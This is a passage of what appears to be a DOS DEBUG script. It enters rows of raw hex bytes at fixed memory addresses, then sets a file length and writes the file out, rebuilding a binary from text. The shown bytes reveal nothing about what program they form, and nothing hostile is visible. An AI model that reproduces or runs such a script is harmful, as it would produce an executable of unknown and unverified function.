7D 54 C5 2D E 11a0 79 C5 78 86 09 C4 38 00 1B 83 48 6F 37 44 3A E0 E 11b0 84 33 8A 33 B5 C1 7C F7 00 48 56 F0 3E 4C C7 4D E 11c0 95 59 C6 0D 02 3F 81 7D 7C 02 46 0F E2 B1 31 BF E 11d0 31 80 C3 49 2C 02 93 54 2B 4E 97 C5 96 79 A1 C4 E 11e0 D6 00 0A 83 A6 90 D9 44 D4 RCX 10e9 W Q